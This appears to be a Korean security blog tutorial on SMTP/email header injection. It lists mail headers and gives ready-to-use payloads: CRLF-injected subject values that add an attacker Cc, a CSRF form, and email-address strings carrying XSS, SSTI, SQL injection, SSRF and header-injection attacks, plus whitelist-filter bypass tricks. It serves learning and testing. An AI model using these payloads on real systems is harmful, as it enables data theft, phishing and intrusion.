SMTP Injection(Email injection)
SMTP란 무엇일까?
SMTP란 단순 전자우편 전송 프로토콜로서 대부분의 Email 소프트웨어 들이 사용하는 프로토콜이다. 보통 웹 어플리케이션에서 메일전송과 관련된 기능 및 API 는 SMTP 프로토콜을 통해 이루어진다.
SMTP 를 통한 Injection??
웹페이지 내에서 이메일 전송 기능을 사용할 때 송/수신자 내용 제목 등등의 관련 양식을
SMTP 헤더에 포함시켜 전송하게 된다. 이 때 요청 헤더를 조작(Injection)을 통해서 공격자의 메일로 추가 전송을 시킬 수 있다.
예를 들어 패스워드 변경후의 내용과 같은 민감한 정보가 수신자의 메일로 넘어갈 때 공격자의 메일정보를 요청헤더에 추가시켜 민감정보가 노출될 수 있다.
이러한 헤더는 웹 서버의 이메일 라이브러리에 의해 해석되고 결과 SMTP 명령으로 변환된 다음 SMTP 서버에서 처리된다.
SMTP Header
SMTP의 HTTP 요청 헤더를 조작 하여 공격을 수행할 수 있다고 소개했다. 그럼 SMTP 에서
사용되는 요청 헤더의 종류는 어떤것들이 존재할까?
대표적으로 잘 알려진 헤더는 아래와 같다.
- 메시지를 보내는 사람의 ID
- Resent-From
- 메시지를 전달한 사람
- Reply-To
- 응답을 보낼 사서함을 나타내는 메커니즘
- Resent-Reply-To
- 회신을 전달해야 하는 사람
- Return-Path
- 메시지 발신자에 대한 주소 및 경로에 대한 결정적 정보
- Sender
- 메시지를 보낸 에이전트의 인증된 ID (사람, 시스템, 프로세스등)
- Resent-Sender
- ㅁ메시지를 재전송한 에이전트의 인증된 ID
- To
- 메신지의 기본 수신자
- Cc(참조)
- 메시지의 보조 수신자
- Bcc(숨은참조)
- 메시지의 추가 수신자
💡 SMTP 의 Header을 조작하기 위해 CR-LF Injection 을 활용하여 공격을 수행할 수 있다.
'''
subject=Hello+Test
위와 같이 subject 값을 받아서 관리자 혹은 특정 사용자에게 메일을 전송하는 기능이 존재하는
웹 사이트를 식별했다고 가정하자.
해당 로직에서 SMTP의 취약한 부분이 존재하며, CR-LF 주입이 가능하다면 아래와 같이 값을 조작하여 Header 을 조작할 수 있다. 즉 송/수신자 혹은 내용등을 임의로 조작 할 수 있다는 것이다. 직 피싱메일로도 변질이 가능하다는 것이다.
공격 표면
특정 요청 혹은 로직에 의해 이메일기능이 적용되어, 이메일 전송 기능이 존재한다면, SMTP Injection의 잠재적 공격 표면이 될 수 있다.
Cc 및 Bcc 조작
참조 및 숨은참조라는 뜻으로, 수신받는 사용자를 추가 시킬 수 있는 헤더이다.
'''
subject=Hello+Test%0d%0aCc: Attacker@email.com
💡 CSRF 와 같은 취약점과 연계할 경우 2FA 인증 우회 및 민감정보등이 유출될 수 있다.
<form arciton="https://weakness-service/authentication" method="post">
<input type=text name="email" value="target@domain.com%0ACc:attacker@domain.com">
</form>
Subject OR Massage
'''
subject=Hello+Test%0d%0aSubject: Fake Subject
POST /emailtest HTTP/1.1
'''
subject=Hello+Test%0d%0a%0d%0akikiki%20hacking!!
PHP mail() Function
mail 시스템 처리를 위해 command line을 통해 타 mail application을 사용할 경우 특수문자에 대한 필터링일 적절하게 이루어지지 않을경우, command injection으로 이어질 위험성이 존재한다.
Email address format 을 통한 취약점 연계 기술들
Email address format에는 local-part@domain 부분으로 나뉜다.
정확히는 아래와 같이 구분할 수 있다.
attacker@email.com
- username : attacker
- @ symbol : @
- dot(.) : .
- Domain Name : email.com
Local-part 부분에서 사용가능한 문자
2. 숫자 0~9
3. 몇몇의 특수 문자들 : !#$%&'*+-/=?^_`{|}~
4. dot(.) : 첫 번째 또는 마지막문자가 아니며, 연속적으로 나타나지 않는 경우
()(괄호)는 Local-part 에서 주석을 의미할 수 있다.
tartget+attacker@email.com === target@email.com 과 동일하다.
드물게 특수문자들은 제한적으로 사용이 가능하다.”(),:;<>@[]
도한 주석을 의미할 수 있다. 물론
tartget(attacker)@email.com === target@email.com 과 동일하다.
이를 통해 WhiteList 정책 필터링을 우회할 수 있다.
[ ] 를 사용하여 IP를 대입할 수도 있다.
” 를 사용하게 된다면??
Local-Part 부분에서 “ 가 사용가능하다면 SMTP Injection 의 파급력은 엄청나진다. 공백 및 특수문자등 일반적인 Local-Part 부분에서 사용할 수 없는 문자들이 사용 가능해진다. 즉, 특수문자를 사용해야하는 Web-attack 공격기법들이 전부 사용 가능할 수 있다.
Vulnerability | Payload |
---|---|
XSS | test+(<script>alert(1)</script>)@example.com |
test@example(<script>alert(1)</script>.com | |
”<script>alert(1)</script>”@example.com | |
Template Injection (SSTI) | ”<%=7*7%>”@example.com |
test+($)@example.com | |
SQL Injection | ”’ or 1=1 –’“@example.com |
“mail’); drop table users;–“@example.com | |
SSRF | trust@abc123.interserver |
trust@[127.0.0.1] | |
Parameter Pollution | victim&email=attacker@example.com |
(Email) SMTP Header Injection | “%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com |
“recipient@test.com>\r\nRCPT TO:<victim+”@test.com | |
Wildcard abuse | %@example.com |
💡 이러한 공격들은 특정 사용자들의 이메일 정보를 관리자에게 보낼 때 시도해볼 수 있다.
Reference
- https://www.ibm.com/docs/en/zos/2.2.0?topic=process-step-4-customize-smtp-mail-headers-optional
- https://www.acunetix.com/blog/articles/email-header-injection
- https://www.hahwul.com/cullinan/email-injection
- https://book.hacktricks.xyz/pentesting-web/email-injections
Leave a comment